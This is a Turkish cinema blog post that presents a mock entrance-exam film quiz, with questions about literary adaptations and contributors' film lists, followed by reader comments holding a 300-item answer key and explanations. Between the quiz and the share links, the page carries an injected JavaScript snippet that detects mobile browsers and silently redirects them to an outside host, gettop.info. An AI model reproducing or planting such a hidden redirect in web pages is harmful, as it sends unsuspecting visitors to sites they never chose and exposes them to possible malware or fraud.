— ‘Steppenwolf’ {Bozkır Kurdu – 1974} / Fred Haines
Hermann Hesse’den uyarlama
— ‘Die unendliche Geschichte’ {Bitmeyecek Öykü – 1984} / Wolfgang Petersen
Michael Ende’den uyarlama
— ‘Momo’ {1986} / Johannes Schaaf
Michael Ende’den uyarlama
— ‘Siddhartha’ {1972} / Conrad Rooks
Hermann Hesse’den uyarlama
— ‘El Callejón de los Milagros’ {Midak Sokağı – 1995} / Jorge Fons
Mecip Mahfuz’dan uyarlama
— ‘Neskolko dney iz zhizni I.I. Oblomova’ {1980} / Nikita Mikhalkov
Ivan Goncharov’dan uyarlama
— ‘The Little Prince’ {Küçük Prens – 1974} / Stanley Donen
Antoine de Saint-Exupéry’den uyarlama
— ‘A Pál utcai fiúk’ {Pal Sokağı Çocukları – 1969} / Zoltan Fabri
Ferenc Molnar’dan uyarlama
— ‘The Adventures of Martin Eden’ {1942} / Sidney Salkow
Jack London’dan uyarlama
— ‘L’espoir’ {Umut – 1945} / Andre Malraux
Andre Malraux’dan uyarlama
— ‘Le sang des autres’ {Başkalarının Kanı – 1984} / Claude Chabrol
Simone de Beauvoir’den uyarlama

1-) Ursula Le Guin’in “Mülksüzler“i, şayet perdeye uyarlanmış olsa idi, en çok …… nın listesine yakışırdı.
Listesinde bulunan …… daki “I-330“u, o gizemli kadın isyancıyı unutmak mümkün mü?
2-) İlya Ehrenburg’un Paris Düşerken‘ini çok seven Eyüp, sık sık Esra’ya takılmaktadır. Ondan, listesindeki …… filmini talep etmektedir. Jodie Fosterli bu “direniş” filmine duyduğu merak, çok sevdiğini belirttiğimiz o kitapla konudaşlığındandır.
3-) Soledad Miranda, eğer birinin favori oyuncusu olacaksa, bu kişi muhtemelen …… olur.
4-) Eyüp’ün listesindeki ……, Barton Fink’in son kısımlarını andıran yangın kareleri ile anımsanacaktır. Filmin baş kadın oyuncusu, arıza roller ile özdeşleşmiştir.
Deniz’in listesindeki Ornella Mutili …… ise, bir namus cinayetiyle hatırlanacaktır.
5-) Cihan’ın seçkisinde, zayıf bir uyarlama olduğu su götürmez ‘The Magus’ {Büyücü} bulunuyor… Cihan’ın listesindeki savaş filmi …… ise, renkli bir oyuncu kadrosu barındırır ve ismi itibariyle bir paradoksu ifade eder.
6-) …… nın listesindeki ……, ilginç bir distopya örneğidir. Doğurma yeteneklerini kaybeden kadınların, erkeklere cariye gibi sunulduğu bir zaman diliminde geçer. Dini baskı, otorite, isyan gibi konulara da göz kırpılır. Robert Duvall, ipucu olsun.
7-) Ali’nin listesindeki ……, ensest bir ilişki ve yolculuk fonludur. Baş karakterden hareketle, pozitivist/rasyonalist düşünce ile kader/tesadüf kavramlarını çarpıştırır.
8-) Ingvar Ambjörnsen’in “Beyaz Zenciler”i şayet perdeye uyarlanmış olsa idi, en çok …… nın listesine yakışırdı.
9-) Marcel Proust ve Raoul Ruiz, sanırız …… tarafından daha fazla sevilecektir. Eyüp’ten sonra o da Esra’ya takılmaya başlamıştır: “Listende feminen eser pek yok. Sana seçkimdeki …… yı gönderebilirim. Oradaki hemcinsin, adeta yazarından izler taşıyor. İntihar girişimi, akıl hastanesi, depresyon… New York’u ve moda dünyasını sever misin?”
10-) Todd Haynes’in 1991 yapımı “Poison“unu …… ya mutlaka tavsiye etmeli. Listesindeki bir filmin revize edilmiş halidir çünkü.

Cevaplarınızı kontrol etmeyi unutmayınız…

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“SYS (Sinema’nın Yerleştirme Sınavı)” bu yazı hakkında 11 yorum var

  • okaliptus80 diyor ki:

    * Sınavın iptal edilen iki sorusu ise şunlardı;

    1-) Aşağıdakilerden hangisi bir başyapıttır?

    a-) Bunny Lake is Missing {Bunny Lake Kayboldu – 1965} / Otto Preminger
    b-) Diva (1981) / Jean-Jacques Beineix
    c-) Black Orpheus {Siyah Orfe – 1959} / Marcel Camus
    d-) Komissar (1967) / Aleksandr Askoldov
    e-) Made in U.S.A (1966) / Jean-Luc Godard

    Cevap anahtarına göre doğru cevap a şeklinde görünüyor. Evet, ‘Bunny Lake Kayboldu’ gerçekten çok sağlam bir filmdi. Gerilim dolu bir “kaybolan kız” hikayesiydi. Ama “hangisi bir başyapıttır” muğlak ve pekala tartışmaya açık, kaygan bir soru. Böyle bir sınavda sorulmamalı. Bir başkası da kalkıp “Komissar da bana göre başyapıttır. Kadınları da cephenin ön saflarına süren muhteşem bir savaş destanıdır.” dese ne olacak? Peki ya Rio karnavalı sevdalısı biri de c şıkkı diye tuttursa? Ayrıca Godard’ın ne günahı var!

    2-) x . 10 işleminin sonucu, bir futbol maçının dakika cinsinden normal süresine denk geliyorsa;
    x`in aldığı değer, aşağıdaki filmlerden hangisinin puansal karşılığıdır?

    a-) Downhill Racer (1969) / Michael Ritchie
    b-) Eat a Bowl of Tea (1989) / Wayne Wang
    c-) Sex, Lies, and Videotape (1989) / Steven Soderbergh
    d-) Mala Noche (1986) / Gus Van Sant
    e-) Faster, Pussycat! Kill! Kill! (1965) / Russ Meyer

    [Bu arada doğru cevap 'a' şıkkıymış. Soruyu soran kişi kayakçı galiba.:) ]

  • okaliptus80 diyor ki:

    10′a yakın soru üzerinde kimi rötuşlar yaptım. Soru köküne bazı film, isim ya da açıklamalar eklemek suretiyle. Soruların cevabına tesir etmeyen eklemelerdir.

    Başlık, “son halini” şu an itibariyle aldı diyebilirim.

    Tarih, edebiyat, coğrafya, matematik, fen bilimleri, eğitim bilimleri, felsefe… “Hakim görüşün” süzgecinden geçirilerek, “yarış atlarının” önüne servis edilen yığınla sorunun ait olduğu birkaç dal… Bu soğuk, resmi nevalelerin arasına sevgilimiz “sinemayı” da eklemek isteğiyle oluşturulmuş bir başlıktır bu. Bir hatıra kalsın, bu sanata emeği geçenlerden… Bu sanata sevdalılardan (bizden)… Sinema, bunu hepsinden daha fazla hak ediyor çünkü.

    Cevap anahtarı, ay sonunda.

  • Filiz SEZEN diyor ki:

    Hocam, ALES Sınavını da bekliyoruz.

    Emeğinize, yüreğinize sağlık.

  • Akif YILMAZ diyor ki:

    Emeğine sağlık! Gerçekten harika olmuş.

    175′i geçer miyiz, geçsek de ne kadar geçeriz. Puanımız ‘Lodz Film Okulu’na yeter mi? Rüyanda görürsün, olsun o da güzel:)

    Önce sınavı bir geçelim, sonra tercihlere bakarız; iyi bir sinerehberden yardım almak lazım. Sinemühendislik geleceğin mesleği diyorlar; bakalım…

  • okaliptus80 diyor ki:

    Kontenjanımız bol :)

    Katsayıları da unutmamak lazım. Maalesef bu sene de Avrupa Sineması okuyanlar, Amerikan Sineması okuyanlara göre daha düşük bir katsayı ile sınava girecekler.

    ‘Lodz Film Okulu’ içinse taban puan 250. Eğer içeride bir tanıdık varsa durum değişir tabii. O vakit -diğer adaylara çaktırmadan- bir güzellik yaparız.

  • okaliptus80 diyor ki:

    Cevap Anahtarı;

    1-) d
    2-) a
    3-) a
    4-) a
    5-) c
    6-) c
    7-) a
    8-) a
    9-) c
    10-) e
    11-) a
    12-) d
    13-) d
    14-) d
    15-) d
    16-) d
    17-) d
    18-) d
    19-) c
    20-) a
    21-) a
    22-) a
    23-) d
    24-) e
    25-) b
    26-) b
    27-) a
    28-) d
    29-) c
    30-) b
    31-) b
    32-) e
    33-) d
    34-) e
    35-) c
    36-) c
    37-) d
    38-) d
    39-) a
    40-) e
    41-) a
    42-) a
    43-) a
    44-) a
    45-) b
    46-) c
    47-) b
    48-) a
    49-) d
    50-) a
    51-) b
    52-) d
    53-) e
    54-) d
    55-) e
    56-) d
    57-) a
    58-) d
    59-) c
    60-) d
    61-) e
    62-) d
    63-) a
    64-) a
    65-) b
    66-) c
    67-) a
    68-) c
    69-) a
    70-) a
    71-) e
    72-) e
    73-) b
    74-) e
    75-) c
    76-) a
    77-) c
    78-) a
    79-) c
    80-) d
    81-) a
    82-) a
    83-) a
    84-) e
    85-) b
    86-) e
    87-) a
    88-) a
    89-) a
    90-) d
    91-) a
    92-) d
    93-) b
    94-) a
    95-) c
    96-) c
    97-) b
    98-) c
    99-) c
    100-) d
    101-) c
    102-) c
    103-) e
    104-) b
    105-) b
    106-) e
    107-) a
    108-) e
    109-) a
    110-) e
    111-) a
    112-) b
    113-) b
    114-) d
    115-) c
    116-) a
    117-) b
    118-) a
    119-) c
    120-) b
    121-) e
    122-) d
    123-) a
    124-) a
    125-) e
    126-) c
    127-) a
    128-) b
    129-) d
    130-) a
    131-) e
    132-) d
    133-) d
    134-) e
    135-) a
    136-) d
    137-) c
    138-) d
    139-) e
    140-) e
    141-) d
    142-) b
    143-) b
    144-) b
    145-) d
    146-) c
    147-) d
    148-) d
    149-) b
    150-) c
    151-) d
    152-) e
    153-) a
    154-) e
    155-) b
    156-) b
    157-) a
    158-) e
    159-) d
    160-) e
    161-) d
    162-) c
    163-) d
    164-) d
    165-) c
    166-) d
    167-) a
    168-) e
    169-) a
    170-) c
    171-) b
    172-) d
    173-) e
    174-) b
    175-) b
    176-) c
    177-) c
    178-) d
    179-) c
    180-) c
    181-) c
    182-) b
    183-) d
    184-) c
    185-) c
    186-) a
    187-) b
    188-) c
    189-) b
    190-) d
    191-) e
    192-) a
    193-) c
    194-) c
    195-) b
    196-) a
    197-) b
    198-) e
    199-) e
    200-) d
    201-) d
    202-) e
    203-) d
    204-) e
    205-) a
    206-) b
    207-) a
    208-) b
    209-) e
    210-) a
    211-) c
    212-) b
    213-) b
    214-) d
    215-) d
    216-) a
    217-) d
    218-) a
    219-) d
    220-) a
    221-) d
    222-) d
    223-) e
    224-) a
    225-) a
    226-) b
    227-) b
    228-) a
    229-) a
    230-) d
    231-) e
    232-) c
    233-) c
    234-) a
    235-) b
    236-) c
    237-) b
    238-) b
    239-) c
    240-) -
    241-) -
    242-) -
    243-) a
    244-) b
    245-) c
    246-) e
    247-) c
    248-) a
    249-) d
    250-) a
    251-) e
    252-) d
    253-) e
    254-) b
    255-) a
    256-) d
    257-) e
    258-) c
    259-) d
    260-) a
    261-) b
    262-) c
    263-) b
    264-) b
    265-) b
    266-) b
    267-) a
    268-) c
    269-) d
    270-) c
    271-) e
    272-) d
    273-) e
    274-) e
    275-) c
    276-) e
    277-) c
    278-) d
    279-) c
    280-) d
    281-) e
    282-) e
    283-) a
    284-) e
    285-) a
    286-) e
    287-) b
    288-) a
    289-) b
    290-) e
    291-) a
    292-) d
    293-) a
    294-) b
    295-) d
    296-) d
    297-) a
    298-) e
    299-) a
    300-) b

  • okaliptus80 diyor ki:

    - Açıklamalı Halleriyle Bazı Sorular -

    4. Filmde, şebekeye sızmış acar dedektif Charles Laughton değildir. Laughton, filmin asıl kötü adamıdır.

    5. ‘Édes Emma, drága Böbe – vázlatok, aktok’ {Tatlı Emma, Sevgili Böbe – 1992} isimli Macar filmine atıf yapılmaktadır.

    6.
    - filmleri, aynı zamanda birer renk cümbüşüdür. Özellikle o ayakkabıları unutmak mümkün mü! (Powell & Pressburger ikilisi… Gönderme yapılan filmse ‘The Red Shoes’)
    - yol sinemasına, yolculuğa özel bir ilgisi vardır. (Wim Wenders)
    - ülkesinin güneyinden beslenen töre/evlilik komedileriyle de bilinir. (Pietro Germi… ‘Divorzio all’italiana’ ve ‘Sedotta e abbandonata’, söz konusu komedilerin iki güzel örneğiydi.)
    - kimi filmleri, gemi azıya almış derecede cüretkar sahneler içerir. (Bernardo Bertolucci… ’1900′ gibi, ‘Paris’te Son Tango’ gibi vs.)
    - erken dönemlerinde, ülkesindeki sol hareketin ve gençliğin durumunu masaya yatıran filmlere imza atmıştır. ‘Prima della rivoluzione’ {1964 – Devrimden Önce}, bu filmlerin en bilindik örneklerindendir. (Bernardo Bertolucci)
    İki defa bahsedilen yönetmen: Bertolucci.

    7. Charles Chaplin, Vsevolod Pudovkin ve Yasujiro Ozu, “ses”e direnen filmler yapmaya devam etmişlerdir. (Chaplin: “Konuşmak, Şarlo’nun sonu olacaktır.”)
    Griffith filmlerinin kırılgan yüzü Lillian Gish, bir süre sektörden elini ayağını çekmek zorunda kalmıştır.

    9. Olmi’nin ‘Nalın Ağacı’, “kırsal yaşamı” fona alan bir filmdir. Metropol yaşamının açmazlarıyla alakası yoktur.

    12. ‘Evil Dead’da, sakin geçen ilk 10-15 dakikadan sonra, gerilim ve vahşet ara vermeksizin devam eder. O nedenle ortadaki diyagram, bu filmi işaret etmektedir.
    ‘Suspiria’, kan ve cinayet sahnelerine, ‘The Shining’e nazaran daha yakın ve yoğun periyotlarla yer vermiştir. Öte yandan iki filmin de gerilim yüklü -uzunca- bir finali bulunmaktadır.

    13. “Tersane işçisi”, soru kökündeki anahtar ibare.

    14. ‘Dördüncü Adam’, seçenekler arasındaki en büyük çeldiricidir. Fakat oradaki örümcek bilineceği gibi bir karaduldur. Doğru cevap olan ‘Kendi Kendine Küçülen Adam’ ise tarantula ile belleklere kazınmıştır. Çok da iyi bir filmdir.

    16. ‘Mançuryalı Aday’da, oğlunun üzerinde hakimiyet kurmak isteyen “anne” figürü vardır.

    17. Marlon Brando, şu filmi izlememiş olanlar için büyük çeldirici olabilirdi: 1961 yapımı ‘One Eyed Jacks’, hem yönetip hem oynadığı bir western filmi ve intikam öyküsüydü.

    20.
    - Siyah adam ve onun savunuculuğunu üstlenen beyaz adam. (To Kill a Mockingbird)
    - Çek kukla/animasyoncu Jan Svankmajer’den sıradışı bir Alice Harikalar Diyarında uyarlaması. (Neco z alenky)
    - Leon’un yönetmeninin imza attığı, masmavi bir çalışma. (Le grand bleu)
    - İki kadın arasında kalmış evli adamın merkezde olduğu, muzip bir aile öyküsü. (Osenniy marafon)

    24. Görüldüğü gibi filmlerinin “süreleri” ortalamanın üzerinde seyreden bir yönetmenle karşı karşıyayız. Seçenekler arasında Jacques Rivette kendini hemen belli ediyor bu anlamda. Zaten 4. sıradaki “uzunca” eğriye bakıldığında büyük bir ipucu yakalıyoruz. Evet, 700 küsur dakikalık ‘Out 1, noli me tangere’den başkası değildir bu.

    27.
    Söz konusu usta, ‘Max Linder’.
    Re-makesi yapılan Lang filmi ‘Beyond a Reasonable Doubt’ (1956).
    Bahsi edilen alt-üst komşular, ‘Dong’ (Delik – 1998) filmindeydi.
    Aki Kaurismaki filmlerindeki karakterler de iyi içerler hani.
    a şıkkındaki ‘He liu’ (Nehir – 1997), bahsi edilmeyen filmdi. Zaten sorunun ölçmek istediği asıl şey, Tsai Ming-liang’ın bu iki filminin (Dong – He liu) ayırt edilebilme yetisi.

    28. Şahıs, daha ziyade Ortaçağ dönemlerinde geçen mistik, gotik, “cadılı” filmleri sevmekte. Seçenekler arasında bu denkleme en yakın duran ‘Häxan’ {Çağlar Boyunca Cadılık – 1922}.

    29. Lou’nun (Gary Cooper) yaptığı o duygusal konuşmayı unutmak mümkün mü!

    30. Bahsi edilen “Kenji Mizoguchi imzalı samuray filminin İngilizce karşılığı”, ‘The 47 Ronin’ {Genroku Chûshingura – 1941}. İskambil destesi de 52 adetten oluştuğuna göre… 47′i 52′ye tamamlamak için istenen sayı “5″.

    39.
    - “Her ölüm erken ölümdür ama bu çok çok erkendi be üstad!” dedirten, şair bir yönetmen. (Jean Vigo)
    - İspanya’daki Franco faşizmi ile mücadele eden, ülke içinde bir militan. (Carlos Saura)
    - “İzlediğiniz filmde boşuna senaryo aramayın, bu filmin senaryosu yok.” diyen bir yönetmen. (Dziga Vertov)
    - Kimi kasvet yüklü filmleriyle, Doğu Bloğu’ndaki bürokrasi mekanizmasına dokundurmalar yapan bir yönetmen. (Krzysztof Kieslowski)
    Carlos Saura seçeneğindeki “ülke içinde” ibaresine dikkat etmek gerekiyor. Aksi takdirde, Luis Bunuel ile karıştırmak olası.

    40.
    Akai tenshi (1966) — Lilith (1964), hastane fonunda geçen psikolojik çalışmalardır.
    La ceremonie (1994) — Sister My Sister (1994), burjuva aileler ve şiddet sularında yüzerler.
    Rear Window (1954) — Peeping Tom (1960), röntgencilik teması barındırırlar.
    Le notti di Cabiria (1957) — Mamma Roma (1962), baş kadın karakterini hayat kadını yapmış filmlerdir.

    41. “… Otto Preminger’in ‘Laura’, Max Ophüls’ün ‘The Reckless Moment’, Fritz Lang’ın ‘The Woman in the Window’ ve Robert Siodmak’ın ‘The Spiral Staircase’ filmleri, birkaç simge örnektir.”

    43. La historia oficial, “Arjantin”; Memorias del subdesarrollo, “Küba”; Macunaima, “Brezilya”; Le déclin de l’empire américain “Kanada” sinemasına ait örneklerdir.

    46. Giovanni Pastrone’nin yönettiği İtalyan epiği ‘Cabiria’ (1914), Intolerance’ye ilham veren filmdir. Roma-Kartaca savaşları döneminde geçer.
    Fellini’nin ‘Cabiria’nın Geceleri’ filminde Giulietta Masina, adını bu filme duyduğu hayranlıktan almıştır.

    47. ‘Les dimanches de Ville d’Avray’, “Post-Vietnam” demlerinde geçer. Direniş dönemlerinde değil!

    48. Renkli dönemlerin siyah-beyaz sevdalısı Aki Kaurismaki’nin;
    - Yol Sineması’na göz kırptığı (Eşarbına Sahip Çık, Tatyana)
    - Frank Borzage’nin 20′lerdeki klasiği ’7th Heaven’i tekrar Paris’e adapte ettiği (La vie de bohème)
    - Ölümsüz bir Rus romanını uyarladığı (Rikos ja rangaistus – Suç ve Ceza)
    - Hafıza kaybını işleyen tatlı bir öykü sunduğu (Mies vailla menneisyyttä)

    51. ‘The Straight Story’ {Straight’in Hikayesi – 1999}, diğerlerine nazaran daha naif/dayanışmacı ve “zararsız” bir aile öyküsü sunmaktadır.

    52.
    - Komünist babanın liderliğindeki renkli bir aile; suçlu gençlik; orkestra… (Sjecas Li Se, Dolly Bell)
    - Tabutçulukla ve sinema salonu işletmeciliğiyle geçinen aileler… (Maratonci trce pocasni krug)
    - Savaş yılları Belgrad’ı ve her biri ayrı alem olan bir dolu insanı taşıyan otobüs… (Ko to tamo peva)
    - Çingeneler… (Skupljaci perja)

    53. James Cagney ve “Cody”…

    55. Kemal Şahin, belli ki semiyolojik (göstergebilimsel) okumalar yapan, daha ziyade mesajlara yoğunlaşan sinema severlerden. Sol bir damardan geliyormuş. Dolayısıyla gördüğü Amerikan milliyetçiliğine tahammül edemeyecektir.

    58. I ve III seçenekleri haricindekilerde, göç/seyahat Avrupa kıtasına doğru yapılmıştır.

    62. ‘The Hit’ (1984) ve aynı zamanda bir boks filmi olan ‘The Set-Up’ (1949) varken… “Gangster/suç janrıyla arası ise yok gibidir.”, bu sinema sever için yapılacak bir çıkarım olamaz.
    Öte yandan… ‘Sayat Nova’ filmini izlemiş biri, “a” ve “c” şıklarını direkt eleyecektir.

    66. Double Suicide olarak da bilinen ‘Shinjû: Ten no amijima’ (1969) filminin final kısmını hatırlamak, cevabı vermek için yeterli gelecektir. Oradaki adamın bir tüccar olduğunu anımsamak da bizi bir yerlere götürebilir.

    69. Sirk’in ‘Şafak Bekçileri’, kırsal yaşamı tasvir eden bir film değildir. Bir banliyöde geçer.

    71.
    - Kimi filmlerindeki gaglar, sözlerle süslenemeyecek kadar komplike ve seridir. (Buster Keaton)
    - Çoğu filminde bir yemek fetişizmi görmek mümkündür. (Jan Svankmajer)
    - Avant-Garde sinemanın Kanada ayağının çağdaş temsilcilerinden biridir. (Guy Maddin)
    - Kadının makus kaderi, onun sinemasının adeta temel motifi olagelmiştir. (Kenji Mizoguchi)

    73. Ben-Hur’un 1925 yapımı olan ilk çevrimi, Fred Niblo’ya aittir. Sessiz Sinema’nın da en ünlü klasiklerindendir.

    74. En büyük çeldirici “c” şıkkıdır. Ancak içki ayağı doğru değildir.

    76. ‘Duet for One’de sanatçı karakteri oynayan Julie Andrews, MS (Multiple Skleroz) hastalığından muzdaripti.

    77. ‘The Maltese Falcon’ (Malta Şahini – 1941) ile sinema serüvenine adım atan John Huston, “kesinlikle ” bu yönetmen olamaz.

    78.
    b-) Ken Loach sineması, ilk meyvelerini 80′lerde değil 60′larda vermiştir. ‘Kes’ gibi, ‘Poor Cow’ gibi filmler 60′lar dekadında gelmiştir.
    c-) “Dolmakalem-Sinema”nın kurucusu olarak Alexandre Astruc gösterilir. (bkz. ‘L’éducation sentimentale’)
    d-) Empire binasını çektiği çalışmayla hafızalara kazınan isim, Andy Warhol’dur. (Maya Deren demek, ‘Meshes of the Afternoon’ ve ‘At Land’ demektir.)
    e-) ‘Street of Crocodiles’ (1987), bir masada açılan Avrupa haritası ile hatırlanır. Bu doğru. Fakat film, Svankmajer’in değildir. Svankmajer’in takipçilerinden denebilecek Stephen & Timothy Quay kardeşlerindir.

    81. Baş karakterinin trajik şekilde intihar ettiği Orta Avrupa üçlemesi filmi, Hanussen değil ‘Oberst Redl’ {Albay Redl – 1985} idi.

    82. “Frankly, my dear, I don’t give a damn.” (‘Rhett Butler’ – Clark Gable)

    83.
    - Çatılardan kiremit atanlar (Zero de conduite)
    - Savaş yıllarında yangınları söndürenler (Fires Were Started)
    - Kurtlu konserve yiyenler (Battleship Potemkin)
    - Bir otobüs ve rehineler (Eureka)

    85. Soru, ‘Dressed to Kill’deki tek planda çekilmiş “müze” sahnesinin bilinip bilinmediğini ölçmektedir.

    87. ‘Talvisota’ (1989) ile Finlandiya cephesine uzanmaya ne dersiniz?

    91. Sorudaki belirleyici ipucu, “Paul” ve “Helene”. Chabrol’un peşi sıra çektiği gerilimlerinde, karakterlerin değişmez isimleriydi.
    Şayet bu ipucu verilmemiş olsaydı, sorunun iki cevabı birden olacaktı: Claude Chabrol ve Henri-Georges Clouzot.

    92. ‘Seven Chances’deki o matrak anların bilinmesi beklenmektedir.

    93. “Filmde, babasını (Alain Delon) görmek üzere Amerika’dan gelmiş bir kız bulunmaktadır.”
    Böyle bir şey söz konusu değildir. Aslında bu çeldirici, birebir aynı olmasa da, aynı yıl gelen başka bir filmi ve karakterleri temsilen konmuştur: Bertrand Tavernier imzalı ‘Daddy Nostalgia’ (1990) ve Dirk Bogarde & Jane Birkin .

    96. Yimou Zhang’ın ‘Da hong deng long gao gao gua’ (Kızıl Fenerin Yükselişi – 1991) filmi kadar “kırmızı” bir örnek kaç tane vardır acaba?

    97. Marcel Pagnol’un en güzel filmlerinden olan ‘La femme du boulanger’ {Fırıncının Karısı – 1938}, eşleştirildiği atasözü/deyim ile bir ilinti taşımaz.

    98. Akım, sonradan bir miktar özünü yitirmiş ve sapmaya uğramışsa da… En azından ilk dönemler için söylersek; “c” şıkkındaki durumun tam tersi bir seyir gözlemlenmiştir.

    99. Böcek Kadın, öldürücü/şeytan bir femme fatale barındırmaz. Bilakis, hayat kadınlığı yapan “böcek kadının” dramı için üzülürsünüz.

    102.
    a-) Claire Denis (S’en fout la mort – 1990 …)
    b-) Dardenne Kardeşler (La promesse – 1996 …)
    d-) Michael Haneke (Code inconnu – 2000 …)
    e-) Michael Winterbottom (In This World – 2002…)

    104. Elliott Gould’un canlandırdığı Philip Marlowe karakterinin, Robert Altman’ın 1973 yapımı ‘The Long Goodbye’ filmindeki kahraman olduğunu hatırlamak yeterli.

    106. Jean Cocteau’nun ‘Orphee’si, olsa olsa Şairane Gerçekçilik akımı dahilinde değerlendirilebilir. Dışavurumculuk ile alakası yoktur.

    107. Henning Carlsen imzalı bir filmdir ‘Sult’ {Açlık – 1966}. Hamsun’un kült eserini perdeye uyarlamak, İskandinav Sinemasına nasip olmuştur. Filmdeki ana karakter olan Pontus’un bir “yazar” olduğunu hatırlamak, doğru cevabı bulmaya yetecektir.

    109. ‘Nuit et brouillard’ın bir toplama kampı belgeseli olduğunu hatırlamak, iki seçeneği bir anda elemek kaydıyla, doğru cevaba bizi daha da yaklaştıracaktır.

    115. Victor Erice seçeneği haricinde, hepsi doğrudur. Ancak Erice’nin de -tıpkı Malick gibi- çok fazla uzun metrajlı çalışması yoktur. Görüldüğü gibi c seçeneğinde bir düzineden fazla film sıralanmıştır, bu bir hatadır.

    116. ‘The Ruling Class’ (1972), bir aristokrasi komedisiydi.

    119. Evet, bizce de ‘A ay’ı izlememiş:)

    120. Claudia Cardinale… Sen ne güzel bir kadındın.

    121. Carole Lombard, evet evlidir ama ülkesini el altından Naziler’e sattığı doğru değildir. Zira her şey tezgahlanmış bir oyundan ibarettir.

    123.
    - …, sıradan bir ev kadınının politik bilinçlenişinin, sinemadaki iyi tezahürlerinden biridir. (Gelegenheitsarbeit einer sklavin)
    - …, kadınların yönetmeninin, bizi babanın taksicilik yaptığı renkli bir aileye götürdüğü filmdir. (¿Qué he hecho yo para merecer esto!)
    - …, Margarette von Trotta’nın, 80′lerde ‘Rosa Luxembug’ ile birlikte imza attığı kadın merkezli iki politik filminden biridir. (Die bleierne zeit)
    - …, Barbara Loden’in hem yönetip hem oynadığı filmdir. Loden, ailevi sorunlar yaşayan işçi sınıfı mensubu kadın rolüyle sinema tarihine çoktan geçmiştir. (Wanda)
    Soru, özellikle ‘Salt of the Earth’ ve ‘Wanda’ filmlerini ayırt etme yetisi üzerinden beslenmektedir.

    125. Karede görülen “kilise”, doğru cevabı bulmaya birinci dereceden ipucu teşkil edebilir.

    126. “Sınıfsal gönderme” ipucusu, filmleri izlemeyeni bile Rene Clair seçeneği üzerinde yoğunlaştırabilir.

    130.
    “Yaşlanan kimi komedi oyuncuları, kendilerini drama verir.” ile ‘Limelight’,
    “Berberin toplu halde saçımızı üç numaraya vurduğu günü” ile ‘Full Metal Jacket’,
    “Evlendiğin kadının vakti zamanında -hem de- ailesi tarafından hayat kadınlığına zorlandığını öğrendiğinde.” ile ‘Saikaku ichidai onna’
    “yıllarca beraber yaşadığım annemi” ile ‘Marty’
    çağrışımları yapılabilir.

    132. Sınavın kolay ama kafa karıştırmaya en teşne sorularından biridir.
    “Boris Karloff, beyazperdenin en efsane ‘Dr. Frankenstein’ları arasındadır” ibaresi yanlıştır. Karloff, Frankenstein değildir; onun hayat verdiği “yaratık”tır.

    133. “YOL” filmlerinin konu alındığı o kadar net ki. Dolayısıyla sorunun açılımının “Hangisi bir yol filmi değildir?” olduğunu anlamak zor değil.

    135. ‘Dersu Uzala’ (1975), ABD değil “Rusya” dönemine aittir.

    136. Linklater’in tarz olarak biraz daha farklı olduğu takdir edilecektir. Özellikle ‘Slacker’ ve ‘Tape’, bir parça yorucu gelebilir.

    140. “a” ve “b”, kuvvetle muhtemel ilk elenecek şıklar olacaktır.

